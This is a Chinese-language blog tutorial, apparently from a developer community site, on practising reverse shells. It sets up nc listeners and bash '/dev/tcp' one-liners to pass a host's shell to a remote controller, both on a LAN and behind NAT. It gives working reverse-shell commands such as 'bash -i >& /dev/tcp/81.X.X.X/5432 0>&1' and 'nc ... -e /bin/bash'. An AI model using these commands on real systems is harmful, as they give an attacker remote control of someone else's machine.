使用nc及bash进行反弹shell的简单实践

简介: 使用nc及bash进行反弹shell的简单实践

使用nc及bash进行反弹shell的简单实践


什么是反弹shell?


反弹shell(reverse shell),就是控制端监听在某TCP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。

反弹shell是打开内网通道的第一步,也是权限提升过程中至关重要的一步

参考百度查询到的关于shell反弹实践的一些文章,下面介绍我这边实践的过程


一、被控端主机与控制端主机位于内网同网段场景


如下图所示

640.png


1、被控端主机——IP:192.168.31.84

2、kali控制端主机:192.168.31.118


1)安装nc命令


若没有nc命令,使用yum方式进行安装


yum install nmap-ncat

640.jpg


640.jpg


firewall-cmd --zone=public --add-port=5432/tcp --permanent
firewall-cmd --reload

2)、nc命令开启本地监听端口


nc -n -lvvp 5432 -t -e /bin/bash


640.jpg


3)kali控制端主机使用nc命令连接被控端主机


nc 192.168.31.84 5432


执行shell命令,可以看到输入shell命令后被控主机的shell输出结果


640.jpg

640.jpg

二、被控端主机位于NAT后的场景


如下图所示 被控端主机位于NAT后 控制端主机位于公网

640.png


1)控制端主机开启端口5432监听

由于我这里是一台云主机,需要firewalld开放5432且云主机安全组规则也要放开该端口

640.jpg640.jpg


firewall-cmd --zone=public --add-port=5432/tcp --permanent
firewall-cmd --reload
nc -n -lvvp 5432

640.jpg


2)被控端主机位于NAT后,主动去连控制端主机公网开放的5432端口


nc X.X.X.X(公网IP) 5432 -t -e /bin/bash

640.jpg



三、使用bash进行shell反弹


以上是nc进行shell反弹的实践过程,下面介绍bash进行shell反弹 bash 直接反弹的两种写法

1)写法1


bash -i > /dev/tcp/81.X.X.X/5432 0>&1 2>&1

640.jpg

2)写法2


bash -i >& /dev/tcp/81.X.X.X/5432 0>&1



640.jpg


具体原理可以参考先知社区上的这两篇文章

Linux反弹shell(一)文件描述符与重定向

——https://xz.aliyun.com/t/2548

Linux反弹shell(二)反弹shell的本质

——https://xz.aliyun.com/t/2549

1)bash -i

-i 代表交互式


-i        If the -i option is present, the shell is interactive.


2)/dev/tcp/ip/port是一个特殊的文件,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的。但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket通信


3)0>&1 标准输入与标准输出内容结合后重定向到标准输出里


总结


当然shell反弹的方式不局限于nc与bash两种方式,还有其它python,java,perl,php,ruby,socat等等,可以自动上网搜寻,本文就点到为止

相关文章
|
2月前
|
Shell Linux Windows
nc简单反弹shell
该内容描述了在Windows和Linux环境中使用`nc`(Netcat)工具建立反弹shell的过程。在Windows上,反弹端通过命令`nc -e cmd IP 端口`将控制权反弹到指定IP;控制端则运行`nc -lvvp 端口`等待连接。在Linux环境下,类似地,使用`nc -l -v -p 端口`作为控制端,而被控端用`nc 目标IP 端口`进行连接。文中还包含相关截图以辅助说明。
39 0
|
2月前
|
网络协议 Shell Linux
【Shell 命令集合 网络通讯 】Linux 创建网络连接 nc命令 使用教程
【Shell 命令集合 网络通讯 】Linux 创建网络连接 nc命令 使用教程
84 1
|
2月前
|
移动开发 Shell Linux
百度搜索:蓝易云【Shell错误:/bin/bash^M: bad interpreter: No such file or directory】
将 `your_script.sh`替换为你的脚本文件名。运行此命令后,脚本文件的换行符将被转换为Linux格式,然后就可以在Linux系统上正常执行脚本了。
48 8
|
2月前
|
Linux Shell 文件存储
【Linux技术专题】「夯实基本功系列」带你一同学习和实践操作Linux服务器必学的Shell指令(深入df和dh的区别和探索)
【Linux技术专题】「夯实基本功系列」带你一同学习和实践操作Linux服务器必学的Shell指令(深入df和dh的区别和探索)
93 1
|
12天前
|
Shell 开发者
Shell 函数深入解析与实践
了解 Shell 函数的基础,包括定义、参数传递及返回值。函数定义有多种语法,如 `function func() {...}` 或 `func() {...}`。参数通过 `$1`, `$2` 等访问,`$@` 代表所有参数。`return` 用于返回退出状态码(0-255),非数值数据需用 `echo`。正确获取函数返回值应立即检查 `$?`,例如:`result=$?`。实践中不断探索和学习!
10 1
|
2月前
|
监控 Linux Shell
【Linux技术专题】「夯实基本功系列」带你一同学习和实践操作Linux服务器必学的Shell指令(排查问题指令 - 下)
在线上排查问题时,查询日志、查看系统配置和分析操作系统信息是至关重要的。这些操作可以帮助我们深入了解软件和服务的兼容性,并解决潜在的问题。在本次学习中,我们将介绍并深入学习一些我在处理类似问题时常用的指令。通过掌握这些指令,你将能够更加高效地定位和解决线上问题,提高系统的稳定性和性能。让我们一同进入这个学习过程吧!
57 0
【Linux技术专题】「夯实基本功系列」带你一同学习和实践操作Linux服务器必学的Shell指令(排查问题指令 - 下)
|
13天前
|
网络协议 Linux Shell
基础入门-反弹SHELL&不回显带外&正反向连接&防火墙出入站&文件下载
基础入门-反弹SHELL&不回显带外&正反向连接&防火墙出入站&文件下载
|
2月前
|
监控 关系型数据库 Shell
Shell脚本入门:从基础到实践,轻松掌握Shell编程
Shell脚本入门:从基础到实践,轻松掌握Shell编程
|
2月前
|
Shell Linux
【Linux】进程实践项目(更新中) — 自主shell编写
前几篇文章,我们学习进程的相关知识:进程概念,进程替换,进程控制。熟悉了进程到底是个什么事情,接下来我们来做一个实践,来运用我们所学的相关知识。这个项目就是手搓一个shell模块,模拟实现Xshell中的命令行输入。
26 1
|
2月前
|
存储 Shell Linux
【攻防世界】unseping (反序列化与Linux bash shell)
【攻防世界】unseping (反序列化与Linux bash shell)